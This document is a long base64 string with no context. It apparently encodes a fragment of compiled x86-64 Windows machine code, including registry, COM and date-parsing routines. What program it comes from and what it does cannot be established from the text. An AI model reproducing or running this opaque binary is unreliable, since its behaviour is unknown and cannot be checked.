CQwi8dIg8QgX8PMSIvESIlYCEiJaBBIiXAYV0FWQVdIg+xARYvwSI1A2EyL+kiJRCQgSYvpSIvxM9tFM8mJGEG4AQAAgEGL1kmLz/8VjuEMAIXAdF2LVCQwjUtA/xWt5wwASIv4SIXAdEhIjUQkMEyLz0G4AQAAgEiJRCQgQYvWSYvP/xVW4QwAhcB0HEyLz0iJdCQgTIvGSI0VyGIPAEiLzejoAAAAi9hIi8//FSXnDABIi2wkaIvDSItcJGBIi3QkcEiDxEBBX0FeX8PMzEiLxEiJUBBMiUAYTIlIIFNVVldBVkFXSIPsOEiL2kiNaBhIi/Ez/+iE4P7/SIlsJChMi8tFM8BIiXwkIDPSTIvwSIsISIPJAuijRgsAQYPP/4XAQQ9Ix4XAflP/wI1PQEhj2EiNFBv/FdPmDABIiQZIhcB0OUyLTCR4TIvDSYsOSIvQSIlsJChIiXwkIOiWSAsAhcBBD0jHhcB+BkGNfwLrDEiLzv8VXeYMAEiJBovHSIPEOEFfQV5fXl1bw8zMzEiLxEiJUBBMiUAYTIlIIFNVVldBVkFXSIPsOEiL2kiNaBhIi/Ez/+jE3/7/SIlsJChMi8tFM8BIiXwkIDPSTIvwSIsISIPJAuhLQwsAQYPP/4XAQQ9Ix4XAflL/wI1PQEhj2EiL0/8VFOYMAEiJBkiFwHQ5TItMJHhMi8NJiw5Ii9BIiWwkKEiJfCQg6DtFCwCFwEEPSMeFwH4GQY1/AusMSIvO/xWe5QwASIkGi8dIg8Q4QV9BXl9eXVvDSIlcJAhVVldBVEFVQVZBV0iL7EiD7GBIi31QRTPti3VQM8BIiUXgTIviiUXoTIv5QYvdRQ+39YXbD4UXAQAAQQ+3xkyNTeJMjUXgSI0MQEiNBT6xDQBIjTzIM8BIixdJi89IiUXgiUXoSI1F6kiJRCQ4SI1F6EiJRCQwSI1F5kiJRCQoSI1F5EiJRCQg6B7v//+L8DtHCA+MogAAAA+2RwyEwHQaO8Z/FrlsBwAAQYvdZjlMRd4Pk8MPgoAAAAAPtkcNhMB0EjvGfw5mg3xF3gxBi90PlsN3Zg+2Rw6EwHQSO8Z/DmaDfEXeH0GL3Q+Ww3dMD7ZHD4TAdBI7xn8OZoN8Rd4XQYvdD5bDdzIPtkcQhMB0EjvGfw5mg3xF3jtBi90PlsN3GA+2RxGEwHQQO8Z/DGaDfEXeO0GL3Q+Ww2ZB/8ZmQYP+DA+C6f7//4XbD4ToAAAASI1NUEGL3f8VWeIMAEiNVVhIjU1Q/xXj4wwAhcAPhMUAAABMi3VYSI1V8EwrdVBIjU1Y/xVN5AwAhcAPhKcAAAAPtkcMZkSJbfRmRIlt/oTAdA07xn8JD7dMRd5miU3wD7ZHDYTAdA07xn8JD7dMRd5miU3yD7ZHDoTAdA07xn8JD7dMRd5miU32D7ZHD4TAdA07xn8JD7dMRd5miU34D7ZHEITAdA07xn8JD7dMRd5miU36D7ZHEYTAdA07xn8JD7dMRd5miU38SI1VUEiNTfD/FZ/hDACL2IXAdAtIi01QSSvOSYkMJIvDSIucJKAAAABIg8RgQV9BXkFdQVxfXl3DTIvcSYlbCEmJaxBJiXMYV0FWQVdIg+wwSYvxSY1DKE2L8EmJQ9hMi/oz/0UzyUUzwEiL6Y1XAf8VF9sMAIXAdXr/FQ3jDACD+Hp1b4tUJHCNT0D/FRPjDABIi9hIhcB0WkSLTCRwSI1EJHBMi8NIiUQkII1XAUiLzf8V1doMAIXAdC9IiwtFM8lIIXwkIE2LxkmL1+g/AQAAi/iFwHQTSIX2dA5IiwtIi9b/FSTaDACL+EiLy/8VeeIMAEiLXCRQi8dIi2wkWEiLdCRgSIPEMEFfQV5fw8zMTIvcSYlbCEmJaxBWV0FWSIPsQDPbSY1D2EmL6EmJQ8hMi/JNjUMgSIvxM/9EjUsEjVMI/xVD2gwAhcAPhJQAAACLRCR4g/gBdUVIjUQkOEUzwEiJRCQoRI1LAY1TCMdEJCACAAAASIvO/xUl2gwAi/iFwHUk/xUB4gwAi9BIjQ3QXg8A6AOG//+LRCR46wVIiXQkOIP4AXRQSItMJDhMi8VJi9b/FfLZDACL2IXAdRT/FcbhDACL0EiNDSVfDwDoyIX//4X/dCFIi0wkOP8VmeEMAOsU/xWh4QwAi9BIjQ2gXw8A6KOF//9Ii2wkaIvDSItcJGBIg8RAQV5fXsPMzEyL3EmJWwhJiWsQVldBVkiD7FAz9kmNa9xNhclJjUMgSIvaSYv4SQ9F6UyL8SF0JEBNjUvYQSFzIEiL0UiLjCSQAAAARTPASYlryEmJQ8BJIXO4/xUz2QwAhcAPhZAAAAD/FRXhDACD+HoPhYEAAACLVCRAjU5ASAPS/xUU4QwASIkDSIXAdGmLlCSIAAAAjU5ASAPS/xX54AwASIkHSIXAdEJMiwNIjYwkiAAAAEiJbCQwTI1MJEBIiUwkKEmL1kiLjCSQAAAASIlEJCD/FbnYDACL8IXAdRhIiw//FXrgDABIiQdIiwv/FW7gDABIiQNIi1wkcIvGSItsJHhIg8RQQV5fXsPMzEyL3EmJWwhJiWsQVldBVkiD7FAz9kmNa9xNhclJjUMgSIvaSYv4SQ9F6UyL8SF0JEBNjUvYQSFzIEiL0UiLjCSQAAAARTPASYlryEmJQ8BJIXO4/xUj2AwAhcAPhZAAAAD/FQ3gDACD+HoPhYEAAACLVCRAjU5ASAPS/xUM4AwASIkDSIXAdGmLlCSIAAAAjU5ASAPS/xXx3wwASIkHSIXAdEJMiwNIjYwkiAAAAEiJbCQwTI1MJEBIiUwkKEmL1kiLjCSQAAAASIlEJCD/FanXDACL8IXAdRhIiw//FXLfDABIiQdIiwv/FWbfDABIiQNIi1wkcIvGSItsJHhIg8RQQV5fXsPMzEiJXCQISIl0JBBIiXwkGFVBVkFXSIvsSIPsYDPATIvySIlF+EiNVdBIjQXBAAAATIv5SIlF0EiNDScCAABIjUXoD1fAvgEAAABIiUXYDxFF6Il14Ohvi///M/+FwEAPmceFwHgcg33gAHQWSI1F0EiJRCQg6MNk//8z/4XAQA+Zx4X/dE9IjV3ohfZ0F4tTCE2LxkiLC0H/10iLWxCL8EiF23XlSI1d6EiLC0iFyXQG/xWm3gwASItzEEiNRehIO9h0CUiLy/8VgN4MAEiL3kiF9nXUTI1cJGCLx0mLWyBJi3MoSYt7MEmL40FfQV5dw0iJXCQISIlsJBBWV0FUQVZBV0iD7FBJi9hEi+JMi/Ez9v8Vdd0MAEiL6Eg5Mw+E5AAAAEyLO0yNhCSQAAAASYvXSYvO/xXC5QwAhcB4cg+2vCSQAAAAhf90dEG5BAAAAEiNhCSYAAAATI1EJERIiUQkIEmLzkGNUQj/Ff3VDACFwHQ3QbkEAAAASI2EJJgAAABMjUQkQEiJRCQgSYvPQY1RCP8V1NUMAIXAdA6LRCRAM/85RCREQA+Ux4X/dSDrDovQSI0Ny10PAOi+gf//SIvzSItbEEiF2w+FVf///0iF23VySIX2dG2NUxiNS0D/FaDdDABIiUYQSIXAdFjHRCQwAgAAACFcJCghXCQgRIlgCEyLThDrF8dEJDACAAAATIvLIXQkKCF0JCBEiWMITIvFSYvWSIvN/xVX3AwAhcB1FP8VNd0MAIvQSI0NtFwPAOg3gf//TI1cJFC4AQAAAEmLWzBJi2s4SYvjQV9BXkFcX17DzEiJXCQQSIlsJBhIiXQkIFdIg+wgRItBUEiL+kiL6TPSuQAEAAC7AQAAAP8VuNsMAEiL8EiFwHQ5TI1EJDBIi8iNUwn/FefUDACFwHQbTItHCItVUEiLTCQw/xdIi0wkMIvY/xWQ3AwASIvO/xWH3AwASItsJECLw0iLdCRIiV8QSItcJDhIg8QgX8PMQFNIg+wgixJJi9hNi0AI/xOJQxBIg8QgW8PMzEiJXCQIV0iD7DBIjUQkSDPbRTPJSIlEJCBFM8BIi/mNUwH/FTjUDACFwHVQ/xUu3AwAg/h6dUWLVCRIjUtA/xU03AwASIvYSIXAdDBEi0wkSEiNRCRITIvDSIlEJCC6AQAAAEiLz/8V9NMMAIXAdQxIi8v/FcfbDABIi9hIi8NIi1wkQEiDxDBfw8zMSIPsOEiDZCRAAEiNRCRAM9JIiUQkIEyNDUflDABIjQ0w5QwARI1CAf8VFuQMAIXAdUJIi0wkQDPSSIsB/5D4AQAASItMJEAz0kiLAf+QIAIAAEiLTCRAM9JIiwH/kDACAABIi0wkQDPSSIsB/5BAAgAA6w6L0EiNDd9bDwDoYn///0iLRCRASIPEOMNIiVwkCEiJdCQYV0iD7GAz/0iL8UiF0nR2SIvK/xUW3AwASIvYSIXAdGVIjUwkIP8VE9wMAPIPEEwkMI1HCGaJRCQgTI1EJHhIiwZIjVQkQEiJXCQoSIvODxBEJCDyDxFMJFAPKUQkQP+Q0AEAAIXAQA+Ux4XAdA6L0EiNDc9bDwDo0n7//0iLy/8VsdsMAEyNXCRgi8dJi1sQSYtzIEmL41/DzEiJXCQQVVZXQVZBV0iL7EiD7DBIiwFMi/oz/0iNVfBIiX34RIv3/5CIAAAAhcAPhcQAAABIi03wSI1VMEiLAf9QWIXAD4WkAAAAi/c5fTAPjpkAAABFhfYPhYwAAABIi03wTI1FSIvWSIsB/1BQhcB1bUiLTUhIjVVASIsB/1A4hcB1UUiLVUBJi8/oED0LAEiLTUCFwESL94vYQQ+Uxv8V99oMAIXbdSxIi01ISI1VQEiLAf+Q0AAAAIXAdRdIi1VASI1N+OgR7P//SItNQP8Vx9oMAEiLTUhIiwH/UBD/xjt1MA+Ma////0iLffhIi03wSIsR/1IQSItcJGhIi8dIg8QwQV9BXl9eXcNAU0iD7DBIiwFMjUQkWDPbSIlcJFD/kCgBAACFwHVUSItMJFhIhcl0SkiLAUiNVCQg/1BohcB1O0iLTCQgSIXJdDFIiwFIjVQkQP+Q0AAAAIXAdR9Ii1QkQEiNTCRQ6G3r//9Ii0wkQP8VItoMAEiLXCRQSIvDSIPEMFvDTIvcSIPsWEiLhCSYAAAASI0VOqsNAEmJQ/BFM8lIi4QkkAAAAEmJQ+iLhCSIAAAAiUQkOEiLhCSAAAAASYlD2MdEJCgCAAAATYlDyEyLwUiNDa6pDQD/FdjaDABIg8RYw8zMzEiD7FhIi4QkkAAAAEiNDS2sDQBIiUQkQEUzwEiLhCSIAAAASIlEJDiLhCSAAAAAiUQkMEyJTCQoTIvKSI0V5KwNAMdEJCACAAAA/xWA2gwASIPEWMPMzMyD+Ql3JkhjyUyNHXlJFABNixTLSYtEy1BMiRJJiQBFhcl0BU2JVMtQM8DDuWVRAADpz/cGAMzMzEiLxEiJWAhXSIPsMEiDYOgASYvYSINg8ABMjUDwSIv6SI1Q6Oif////hcB1DItMJCCJD4tMJCiJC0iLXCRASIPEMF/DSIlcJAhMiUwkIEyJRCQYVVZXQVRBVUFWQVdIi+xIg+wwRTP2TYvpSYvwTIv5g/oGD49mAgAAdCuLyoXSD4SzAQAAg+kBD4T1AgAAg+kBdH2D6QF0NoPpAXQJg/kBD4VhAgAARYkwSGPKQYuEj2QBAABBiQFEOXVgD4SqAgAARYm0j2QBAADpnQIAAEmLXwhIjU1ISYmPmAIAAEGLxolFSEiF2w+EOgEAAEiL00mLz+hQAQIASIvTSYvP6B0kAABIi1sQSIXbdeHpEwEAAEiNRUhEiXVISYmHmAIAAEU5dygPjvoAAABNi+5BvAEAAABBi/ZJi0cgSotcKBhIhdsPhMMAAAC5IAAAAP8V3dgTAIvIi0NUA0M8A0MkA0MMD6/IAU1ISItLGEiFyXQI/xWy2BMA6wNBi8YBRUhIi0tISIXJdAj/FZvYEwDrA0GLxgFFSEiLSzBIhcl0CP8VhNgTAOsDQYvGAUVISItLYEiFyXQI/xVt2BMA6wNBi8YBRUhIi3tA6w9Ii1cQSYvP6D9uBQBIiz9Ihf917EiLWxDrI0iLUxBIhdJ0F005t5gCAAB1BoNCPP91CEmLz+iRlQMASIsbSIXbddhBA/RJg8UgQTt3KA+MGv///0yLbVhIi3VQi0VITYm3mAIAAEWJdQCJBukzAQAASYuHgAEAAEGLzkG8AQAAAOsGSIsAQQPMSIXAdfVJi4eIAQAAQYvW6wZIiwBBA9RIhcB19U2F7XQMQYuHcAEAACvBQYkBQYuHcAEAACvCK8FBiQBEOXVgD4TWAAAASYuPiAEAAEiFyQ+ExgAAAEiLEUiF0nQOSIsCSIvKSIvQSIXAdfJJi4eAAQAASIkBSYuHiAEAAEmJh4ABAABNibeIAQAA6YwAAACLyoPpB3Qug+kBdCmD6QF0JIPpAQ+EMgEAAIPpAQ+EgQAAAIP5AXQIQb4BAAAA61y6CgAAAEWLxkGLzkU5dyh+RESL0kG8AQAAAEmL1kmLRyBIi0QCCEiFwHQdSItACEyLCEcDhJHUAAAARDl1YHQIR4m0kdQAAABBA8xIg8IgQTtPKHzIRYl1AESJBkiLXCRwQYvGSIPEMEFfQV5BXUFcX15dw0GLzkWLxolN8ESJdUhFOXcoD46FAAAASYvWQbwBAAAASIlV+EmLRyBIi0QCCEiFwHRSSItACEiLMA+3jrAAAACLnrwAAACDwXAD2UiLjhgBAABIi0lA/xXo1hMASIvOi/j/FT3WEwBEi0VIi03wSItV+A+v+wO+vAAAAAP4RAPHRIlFSEEDzEiDwiCJTfBIiVX4QTtPKHyMSIt1UESJBkWJdQDpQP///0WJMU05t5ACAAB/DEWL5k05t4gCAAB+BkG8AQAAAEWJIOka////zMxIi8RIiVAQTIlAGEyJSCBTVVZXRTPJSI1YGEiDw/hIjS0Xuv7/TIvBQIp6AUgPvkICQIDvMESKGkSKUgMz0g+3tEXGCw8AQYDrMHQlQQ+2AEH+y/aEKEAGDwAEdFCNFJIPvsBJ/8CNUuiNFFBFhNt120APvsc70Hw0O9Z/MEWE0nQFRToQdSZIg8MISf/AQf/BSIsLiRFIi1QkMEiDwgRIiVQkMEWE0g+Fe////0GLwV9eXVvDzMzMSIlcJBhIiWwkIFZXQVdIg+wgSIvZTI09qL8NAA+2CUiL6usGSP/DD7YLQvYEOQF18zP/iXocgPktdQWDzv/rCoD5K3VAvgEAAABMjUwkSEyNRCRASI0VAVYPAEiNSwHo5P7//4P4AnQHuAEAAADrOWtEJEA8SIPDBgNEJEgPr8aJRRzrDo1BpqjfdASEyesTSP/DD7YDQvYEOAF188ZFLQGEwEAPlceLx0iLXCRQSItsJFhIg8QgQV9fXsNIiVwkCFdIg+wwSIv6TI1MJCBIjRWPVQ8ASIvZTI1EJFgPV8noY/7//4P4Ag+F0gAAAEiDwwWAOzp1fkyNRCRQSI0VaVUPAEiNSwHoPP7//4P4AQ+FqwAAAEiDwwOAOy51XA+2SwFIjRWbvg0A9gQRBHRL8g8QFXUZEwBI/8PyDxAdehkTAA++wUj/w/IPWcvyD1nTZg9uwA+2A/MP5sCKyPYEEATyD1jI8g9cDV8ZEwB10/IPXsrrBYNkJFAAi0QkWEiL12YPbkQkUEiLy2aDZygAiUcUi0QkIPMP5sDGRysBiUcY8g9YwfIPEUcg6FH+//+FwHUNOUccD5XAiEcsM8DrBbgBAAAASItcJEBIg8QwX8NIiVwkCIB5KABMi9l1NIB5KgB0NItJCEWLSwxBi1sQjYFpEgAAPXg5AAB2KQ9XwEEPEQNBDxFDEEEPEUMgQcZDLgFIi1wkCMO7AQAAALnQBwAARIvLQYB7KQB10ESNQf9BxkMoAUGD+QK4H4XrUUQPT8FBjUkMQffoRIvSQcH6BUGLwsHoH0QD0Liti9toQYP5AkEPT8n/wWnJUasEAPfpuB+F61FEi8pBwfkMQYvJwekfRAPJQY2IbBIAAERpwa2OAABB9+hBi8LB+gWLykED0cHpHwPKmYPiAwPCwfgCA8FBK8KDwAIDw0GAeysAZg9uwPMP5sDyD1wFHhgTAPIPWQUuGBMA8kgPLNBJiRMPhC7///9Ba0MUPPJBDxBDIPIPWQWVGBMAQQNDGGnAYOoAAEhjyPJIDyzASCvISAPRQYB7LABJiRMPhPX+//9BaUMcYOoAAEHGQywASGPISCvRZkGDYyoASYkT6dT+///MzEiJXCQIV0iD7CBIi1kYSIv6SIN7SAB1HEiLAUiNU0hIi0goSIsJ6FEXAACFwHQFSINjSABIi0NISIkHSIXAfgjGRygBM8DrBbgBAAAASItcJDBIg8QgX8NMi9xJiVsISYlrGFZXQVZIg+xAQIoqSI16AUmL2EmNQ9hMi/JJiUPISIvxTY1LIECA/S1NjUMQSA9F+kiNFZpSDwBIi8/oZvv//4P4Aw+FgAAAAEiDxwoPtgdIjQ3Luw0A9gQIAXUEPFR1BUj/x+vnSIvTSIvP6Kn8//+FwHQJgD8AdU/GQysAi0wkaIvB99jGQygAQID9LcZDKgEPRMiAeywAi0QkeIlDDItEJDCJQxCJSwh0CEiLy+h6/f//M8BIi1wkYEiLbCRwSIPEQEFeX17DSIvTSYvO6Eb8//+FwHTcSI0V/1EPAEmLzujrRAAASIPP/4XAdT5IY0YgSI0UQEiLRhhIi4iIAAAAgDzRQA+FlAAAAEiLDkiNFQxqDwBBsQHHRiQBAAAARIvHSIl8JCDoScUBAEj/x0GAPD4AdfaB5////z9IjVQkaESLx0GxAUmLzugiRQAAhcB+XPIPEEQkaGYPLwU4FRMAxkMpAfIPEUMgD4JD////Zg8vBeEVEwAPgzX////yD1kF2xUTAMZDKAHyD1gFZxUTAPJIDyzASIkD6RT///9Ii9NIi87o8/3//+kG////uAEAAADp/P7//0iJXCQIRTPbTIvRRDhZKg+FSQEAAEQ4WSh1FUGNSwG70AcAAEGJShBEi8HpIgEAAEiLCUi4//1yEECmAQBIO8h2Hw9XwLkBAAAAQQ8RAkEPEUIQQQ8RQiBBiEou6f0AAABIgcEALpMCSLiH3DP9dahrY0j36UyLwknB+BlJi8BIweg/TAPAZkEPbsBFjYj1BQAA8w/mwPIPXAX6FBMA8g9ZBWoUEwDyDyzIi8GZg+IDA8LB+AIryEQDyWZBD27B8w/mwPIPXAW1FBMA8g9ZBU0UEwDyDyzYi8Ml/38AAGnIrY4AALgfhetR9+nB+gWLwsHoHwPQQYvBK8JmD27A8w/mwPIPWQUmFBMA8kQPLMBmQQ9uyPMP5snyD1kNSBQTAPIPLMFEK8i4DQAAAEQrykGD+A5FiUoQjUj0D0zBRCvAQYP4AkEPn8NBgcNrEgAAQSvbRYlCDEGJWghBiEoqSItcJAjDQFNIg+wggHkrAEiL2Q+FpwAAAOj4+v//TIsDSLiH3DP9dahrY0mBwAAukwLGQykASffoxkMrAUjB+hlIi8JIweg/SAPQSGnCAFwmBUwrwLjFs6KRZkEPbtDzD+bS8g9ZFU8TEwDyDyzK9+lmD27J8w/myQPRwfoLi8LB6B8D0GnC8PH///IPXNGJUxQDyLiJiIiI9+kD0cH6BYvCwegfA9BrwjyJUxgryGYPbsHzD+bA8g9YwvIPEUMgSIPEIFvDSIvESIlYEEiJaBhIiXAgSIlICFdBVEFVQVZBV0iD7HAPKXDITI0l2bH+/w8peLhBvQEAAAAPtgJJi9lIi/JBi+1CD7aMIKAVDwCD+XMPhykHAAAPhEAFAACD+TQPhxABAAB0IoPpK3Qdg+kCdBiD6QN0E0ErzXQOQSvNdAlBO80PhXUIAABMjXoBM/9BigdFi/WEwHQgSYvPPDp0GQ+2wEaErCBABg8AdQxJA81FA/WKAYTAdeNFis1IjZQkoAAAAEWLxkiLzujIQQAAhcAPjicIAABNY/ZMA/ZBgD46D4WiAAAAD7YGSI1UJCAPV8APEUQkIEL2hCBABg8ABA8RRCQwTA9F/kmLzw8RRCRA6Cn4//+FwA+F4AcAAEiNTCQg6Cv5//9Ii2wkIEi4h9wz/XWoa2NIgcUA0mz9SPftSMH6GUiLwkjB6D9IA9BIacIAXCYFSCvogD4tdQNI991Ii8vo6vj//0gBK2aJeyrpgwcAAIPpNQ+EC////0Erzenu/v//TQP1QQ+2BkaErCBABg8Ade9NhfYPhF4HAABIg8r/SP/CQTg8FnX3geL///8/jUL9g/gHD4c/BwAAQg+2TDL/SI0FO7D+/0SNYv+AvAGgFQ8Ac0iLy0QPReLob/j///IPELQkoAAAAGYPLzXKEBMAcwryDxA9ABITAOsI8g8QPRYREwBEi/9IjTUcsg0AD7ZG+UE7xHUrSIsORYvESYvW6AVAAACFwHUZ8g8QRggPVwWtEhMAZg8v8HYHZg8vdghyE0UD/UiDxiBBg/8GD407AwAA67lJY/dMjTWjr/7/SMHmBUIPtow2IAIPACvND4RmAQAAO80PhfICAADyDyzuQDh7Kg+FOAEAAEA4eyh1EkSJaxBBuNAHAABBi83pAQEAAEiLC0i4//1yEECmAQBIO8gPh/gAAABIgcEALpMCSLiH3DP9dahrY0j36UyLwknB+BlJi8BIweg/TAPAZkEPbsBFjYj1BQAA8w/mwPIPXAV9EBMA8g9ZBe0PEwDyDyzIi8GZg+IDA8LB+AIryEQDyWZBD27B8w/mwPIPXAU4EBMA8g9ZBdAPEwDyRA8swEGLwCX/fwAAacitjgAAuB+F61H36cH6BYvCwegfA9BBi8ErwmYPbsDzD+bA8g9ZBacPEwDyDyzIZg9uyfMP5snyD1kNyw8TAPIPLMFEK8i4DQAAAEQryoP5DkSJSxBBD0zFK8iLx4P5Ag+fwAVrEgAARCvAiUsMRIlDCESIayrrEg9XwA8RAw8RQxAPEUMgRIhrLkiLy+h0+///AWsI8g8sxmYPbsDpiAEAAEA4eyoPhTgBAABAOHsodRJEiWsQQbjQBwAAQYvN6QEBAABIiwtIuP/9chBApgEASDvID4f4AAAASIHBAC6TAki4h9wz/XWoa2NI9+lMi8JJwfgZSYvASMHoP0wDwGZBD27ARY2I9QUAAPMP5sDyD1wFIw8TAPIPWQWTDhMA8g8syIvBmYPiAwPCwfgCK8hEA8lmQQ9uwfMP5sDyD1wF3g4TAPIPWQV2DhMA8kQPLMBBi8Al/38AAGnIrY4AALgfhetR9+nB+gWLwsHoHwPQQYvBK8JmD27A8w/mwPIPWQVNDhMA8g8syGYPbsnzD+bJ8g9ZDXEOEwDyDyzBRCvIuA0AAABEK8qD+Q5EiUsQQQ9MxSvIi8eD+QIPn8AFaxIAAEQrwIlLDESJQwhEiGsq6xIPV8APEQMPEUMQDxFDIESIay5Ii8voGvr//0SLQwy4q6qqKvJEDyzORQPBQY1I/0WFwH8EQY1I9PfpZkEPbsHR+ovCwegfA9ABUwiNBFLB4AJEK8BEiUMM8w/mwECIeyjyD1zwSIvL6Nj0///yQg9ZtDY4Ag8Ai+/yD1j38kgPLMZIAQNmiXsq6V4DAABBuAkAAABIjRWuSQ8ASIvO6H48AAAz/4XAD4VDAwAAQDh7KHUQQDh7KnUKQDh7Kw+ELQMAAEiDxglAOHsqD4U4AQAAQDh7KHUSRIlrEEG40AcAAEGLzekBAQAASIsLSLj//XIQQKYBAEg7yA+H+AAAAEiBwQAukwJIuIfcM/11qGtjSPfpTIvCScH4GUmLwEjB6D9MA8BmQQ9uwEWNiPUFAADzD+bA8g9cBS0NEwDyD1kFnQwTAPIPLMiLwZmD4gMDwsH4AivIRAPJZkEPbsHzD+bA8g9cBegMEwDyD1kFgAwTAPJEDyzAQYvAJf9/AABpyK2OAAC4H4XrUffpwfoFi8LB6B8D0EGLwSvCZg9uwPMP5sDyD1kFVwwTAPIPLMhmD27J8w/myfIPWQ17DBMA8g8swUQryLgNAAAARCvKg/kORIlLEEEPTMUryIvHg/kCD5/ABWsSAABEK8CJSwxEiUMIRIhrKusSD1fADxEDDxFDEA8RQyBEiGsuZkSJaytIiXsUSIl7IGaJeyhIhfYPhM0BAABIjRXrRw8ASIvO6Lc6AACFwHQXSI0V4EcPAEiLzuikOgAAhcB1CkSJawxEiWsQ6xdIjRW3Rw8ASIvO6Ic6AACFwA+FhgEAAIvv6X8BAACD+XUPhCABAACD+XcPhW0BAABEjUGRSIvOSI0VqEcPAOiLOgAAM/+FwA+FUAEAAEiNTghIhcl1BIvX6xNIg8r/SP/CQDg8EXX3geL///8/RIvCRYrNSI2UJKAAAADotjoAAIXAD44VAQAA8g8QjCSgAAAA8g8s8WYPbsbzD+bAZg8uwQ+F9gAAAIX2D4juAAAAZg8vDR8LEwAPg+AAAABIi8voufX//0iLy+gV9///SIvLQIh7LECIeyjoFfL//0yLC0i4h9wz/XWoa2NmiXsqSY2JAIq5B0j36UhjzkyLwknB+BlJi8BIweg/TAPASLglSZIkSZIkSUn36EjR+kiLwkjB6D9IA9BIa8IHTCvATDvBSY1A+UkPTsBIK8hIacEAXCYFSQPB601IjRWIRg8ASIvO6EA5AAAz/4XAdUFAOHspdDvyDxBDIPIPWQWXChMA8g9YBd8KEwBmDy8F3wkTAHIcZg8vBdUKEwBzEkSJayjySA8swEiJA4vvQIh7LA8odCRgTI1cJHBJi1s4i8VJi2tASYtzSA8ofCRQSYvjQV9BXkFdQVxfw8zMzEiJXCQISIlsJBBIiXQkGFdBVEFWSIPsIEhj6g9XwEmL2UmL8EiL+UEPEQFBDxFBEEEPEUEghdJ1CkiL0+hX8v//60VJiwhIjRV/6g0AQbwBAAAAD7dBCIPgP4A8EAJ0QUQ4JBB0O0GK1OhyvQEASIXAdBJMi8NIi9BIi8/ob/L//4XAdFpBi8RIi1wkQEiLbCRISIt0JFBIg8QgQV5BXF/D6I6yAQBmDy8F5ggTAESIYynyDxFDIHImZg8vBZMJEwBzHPIPWQWRCRMARIhjKPIPWAUdCRMA8kgPLMBIiQNJO+x+PkmL/EiLDP5BitTo7bwBAEiLDP5Mi/DoUQICAE2F9nSBTIvLRIvASYvW6Mb1//+FwA+Fa////0kD/Eg7/XzFgHsoAHUwgHsqAHROi0sIRItLDESLWxCNgWkSAAA9eDkAAHZBD1fADxEDDxFDEA8RQyBEiGMugHsuAA+FI////0i4//1yEECmAQBIOQMPhxD///8zwOkM////udAHAABFi8xFi9yAeykAdblEjUH/RIhjKEGD+QK/H4XrUYvHRA9PwUGNSQxB9+hEi9JBwfoFQYvCwegfRAPQuK2L22hBg/kCQQ9PyUEDzGnJUasEAPfpi8dEi8pBwfkMQYvJwekfRAPJQY2IbBIAAERpwa2OAABB9+hBi8LB+gWLykED0cHpHwPKmYPiAwPCwfgCA8FBK8KDwAJBA8OAeysAZg9uwPMP5sDyD1wFFggTAPIPWQUmCBMA8kgPLNBIiRMPhBT///9rQxQ88g8QQyDyD1kFjwgTAANDGGnAYOoAAEhjyPJIDyzASCvISAPRgHssAEiJEw+E3/7//2lDHGDqAADGQywASGPISCvRZoNjKgBIiRPpwf7//8xAU0iD7FBMjUwkIEiL2ehV/f//hcB1JEiNTCQg6G/u//9IiwsPV8nySA8qTCQg8g9ZDe4GEwDotbMBAEiDxFBbw8zMzEBTSIHs8AAAAEyNTCRQSIvZ6A79//+FwA+FiAAAAEiNTCRQ6LDx//9IjUwkUOgK8///8g8sRCRwRItMJFhMjQUcQw8ASI2UJIAAAAC5ZAAAAIlEJECLRCRoiUQkOItEJGSJRCQwi0QkYIlEJCiLRCRciUQkIOiWKgAASIsLSI2UJIAAAABIg8j/QbEBRIvASIlEJCDo+7UBAIP4EnUISIvL6PYEAgBIgcTwAAAAW8PMQFNIgezQAAAATI1MJDBIi9noXvz//4XAdWBIjUwkMOho8v//8g8sRCRQRItMJERMjQWaQg8ASI1UJGC5ZAAAAIlEJCiLRCRIiUQkIOgPKgAASIsLSI1UJGBIg8j/QbEBRIvASIlEJCDod7UBAIP4EnUISIvL6HIEAgBIgcTQAAAAW8PMQFNIgezQAAAATI1MJDBIi9no2vv//4XAdV5IjUwkMOiA8P//i0QkQEyNBS1CDwBEi0wkOEiNVCRgiUQkKLlkAAAAi0QkPIlEJCDojSkAAEiLC0iNVCRgSIPI/0GxAUSLwEiJRCQg6PW0AQCD+BJ1CEiLy+jwAwIASIHE0AAAAFvDzMzMhdIPhFAFAABIi8RIiVgQSIlwGEiJeCBIiUgIVUFUQVVBVkFXSI1oqEiB7DABAAAPKXDIi9pMi+EPKXi4SYsIsgFEDylAqEmL+Oj+uAEATIv4SIXAD4TPBAAATI1HCEmLzI1T/0yNTCQw6P76//+FwA+FswQAAEmLDCSNWAFBigdMi0Eoi8uEwA+ErgAAAEmL1zwldThI/8KKAjxZf24PhJIAAAA8JXQlPEh0HjxKdHosTTwKD4dvBAAAQblBBAAAQQ+jwQ+DXwQAAEgDy0gD00gDy4oChMB1uEiD+WRyXUljQHxIO8gPhzUEAABIY9FJi8joVQwAAEiL+EiFwHVBSYvM6AkDAgDpHQQAADxkdLo8ZnQiPGp0GDxtdK48c3QKPHcPhQEEAADro0iDwTLrnUiDwQPrl0iDwQjrkUiNfZBIjUwkMOhK6///SI1MJDDozO7//0iNTCQw6Cbw//9BigdIg8r/M/aEwA+EgAMAAA8QdCRQTItsJDBJvIfcM/11qGtjDxB8JEBJuCVJkiRJkiRJRA8QRCQwPCV0CIgEPukxAwAATAP7QYA/ZA+P/QAAAA+E8AAAAEGAP0gPhN8AAABBgD9KD4SJAAAAQYA/TXR8QYA/U3RQQYA/Vw+EsAEAAEGAP1kPhe0AAABEi0wkOEyNND5Ji9ZMjQUSQA8AuQUAAADoUCcAAE2F9g+EmwIAAEiDyv9Ii9pI/8NBgDweAHX26Z4CAADyRA8sTCRQSI0UPrkDAAAATI0Fqj8PAOgVJwAAuwIAAADpYQIAAESLTCRI69oPV9tMjTQ+8kkPKt1MjQWZPw8ASYvWuRQAAADyD1kdsQITAGZJD37Z6NcmAABNhfYPhCICAABIg8r/SIvaSP/DQYA8HgB19uklAgAARItMJETrh0SLTCRA64BBgD9mD4TEAQAAQYA/ag+EzwAAAEGAP20PhLsAAABBgD9zdFZBgD93dAnGBD4l6fQBAABJjY0AirkHSYvESPfpSIvKSMH5GUiLwUjB6D9IA8hJi8BI9+lI0fpIi8JIweg/SAPQSGvCB0gryIDBMIgMPkiDyv/prQEAAEi4z/dT46WbxCBMjTQ+SfftSbnAllznzv///0yNBb4+DwBIwfoHSIvKTAPKSMHpP0mL1kwDybkeAAAA6PAlAABNhfYPhDsBAABIg8r/SIvaSP/DQYA8HgB19uk+AQAARItMJDzpnf7//0QPEUQkYEiNTCRgiVwkbA8RfCRwiVwkcA8R